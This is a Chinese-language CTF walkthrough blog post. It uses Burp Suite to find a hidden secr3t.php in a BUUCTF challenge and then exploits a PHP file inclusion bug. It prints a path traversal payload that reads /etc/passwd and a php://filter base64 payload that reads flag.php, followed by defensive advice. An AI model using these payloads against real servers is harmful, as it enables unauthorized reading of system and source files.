手把手教你用Burp Suite抓包,挖出BUUCTF《极客大挑战》Secret File隐藏的secr3t.php

张开发
2026/4/21 21:37:25 15 分钟阅读

分享文章

手把手教你用Burp Suite抓包,挖出BUUCTF《极客大挑战》Secret File隐藏的secr3t.php
从零开始用Burp Suite挖掘CTF隐藏文件以BUUCTF《极客大挑战》Secret File为例当你面对一个看似只有几行文字的静态页面时是否曾感到无从下手这正是许多CTF新手在BUUCTF《极客大挑战》Secret File题目中的真实体验。本文将带你用Burp Suite这把数字手术刀解剖HTTP流量中的秘密一步步揭开secr3t.php文件的神秘面纱。1. 环境准备与工具配置1.1 Burp Suite基础配置首先确保你的Burp Suite Community Edition已安装最新版本为2023.12.1。启动后进入Proxy→Options确认代理监听端口为8080默认配置。这个端口将成为我们捕获流量的渔网。提示如果8080端口被占用可在Proxy Listeners中点击Add新建监听端口但需同步修改浏览器代理设置。接下来配置浏览器代理。以Chrome为例安装SwitchyOmega扩展新建情景模式命名为Burp填写代理服务器为127.0.0.1端口8080确保HTTP和HTTPS都勾选验证代理是否生效的小技巧curl -x http://127.0.0.1:8080 http://test.com在Burp的Proxy → HTTP history中应能看到这条请求记录。1.2 靶场环境搭建访问BUUCTF在线平台找到《极客大挑战2019》Secret File题目。保持Burp Suite拦截状态我们先观察页面基础元素初始URLhttp://challenge.com/start.php页面显示这里什么都没有试试看你能发现什么右键查看源代码发现关键线索!-- 开发者注释管理入口已移除 -- a href/Archive_room.php styledisplay:none后台入口/a这个刻意隐藏的链接正是我们突破的第一道关口。2. HTTP流量拦截与分析实战2.1 捕获隐藏跳转访问发现的Archive_room.php页面出现一个SECRET按钮。此时开启Burp的拦截功能Proxy → Intercept is on点击按钮后观察拦截到的请求GET /transition.php HTTP/1.1 Host: challenge.com Referer: http://challenge.com/Archive_room.php关键操作流程放行这个请求点击Forward立即关闭拦截避免错过后续请求在HTTP history中查找transition.php的响应你会发现服务器返回了302重定向状态码但Burp已经帮我们冻结了这个瞬间HTTP/1.1 302 Found Location: end.php X-Powered-By: PHP/7.2.24 Content-Length: 0 !-- 临时文件/var/www/html/secr3t.php --2.2 响应包深度解析大多数新手会直接跟随跳转来到end.php却错过了最关键的secr3t.php。我们可以通过以下技巧避免这种遗漏在Burp中右键transition.php请求 → Do not intercept requests to this host重新点击SECRET按钮这次完整观察整个请求流程重点检查每个响应的以下部位HTTP状态码3xx需特别关注Headers中的非标准字段注释信息特别是HTML和JS注释空白区域的隐藏字符进阶技巧使用Burp的Match and Replace功能自动高亮关键词进入Proxy → Options → Match and Replace添加新规则匹配!--.*?--替换为[COMMENT]$0[/COMMENT]设置高亮颜色为醒目的红色3. 突破重定向封锁线3.1 直接访问隐藏资源发现secr3t.php路径后直接构造请求GET /secr3t.php HTTP/1.1 Host: challenge.com服务器返回了有趣的响应?php $file $_GET[file] ?? ; include($file); // flag在隔壁老王家flag.php ?这是一个典型的文件包含漏洞。常规思路是尝试路径遍历/secr3t.php?file../../../../etc/passwd但题目环境通常会有防护措施我们需要更巧妙的解法。3.2 PHP伪协议实战应用PHP内置的过滤器链Filter Chains是我们的秘密武器。构造特殊PayloadGET /secr3t.php?filephp://filter/readconvert.base64-encode/resourceflag.php HTTP/1.1 Host: challenge.com这个请求利用了php://伪协议通过base64编码绕过执行限制。服务器返回类似PD9waHAKJGZsYWcgPSAiRkxBR3tUMHIxYl9GMWx0M3JfQzRuX0gxZGRlbl9Jbl9IM3h0fSI7Cj8这是flag.php经过base64编码后的内容。使用Burp的Decoder模块快捷键CtrlShiftD可直接解码粘贴base64字符串到Decoder选择Base64解码方式点击Decode得到原始内容?php $flag FLAG{T0r1b_F1lt3r_C4n_H1dden_In_H3xt}; ?4. 安全研究与防御建议4.1 漏洞原理深度分析这类题目融合了两种常见漏洞漏洞类型具体表现危害等级信息泄露隐藏注释暴露敏感路径中文件包含未过滤的用户输入导致任意文件读取高防御方案对比表防御措施实现方式优缺点禁用PHP危险函数php.ini中设置disable_functions可能影响正常功能输入白名单验证只允许特定目录文件需要严格路径控制实时监控异常文件访问使用auditd等工具增加系统负载4.2 Burp Suite高阶技巧提升抓包效率的几个实用功能Target Scope设置进入Target → Scope添加challenge.com到包含范围勾选Use advanced scope control自动标记敏感信息# 在Burp的Logger模块添加自定义标记规则 if secret in response.body.lower(): return SECRET_FLAG流量对比功能选中两个请求 → 右键 → Compare使用Words模式查看差异点最后记住真正的安全研究不在于快速拿到flag而在于理解每个漏洞背后的原理。就像这个题目展示的看似简单的信息泄露往往隐藏着更深的攻击面。

更多文章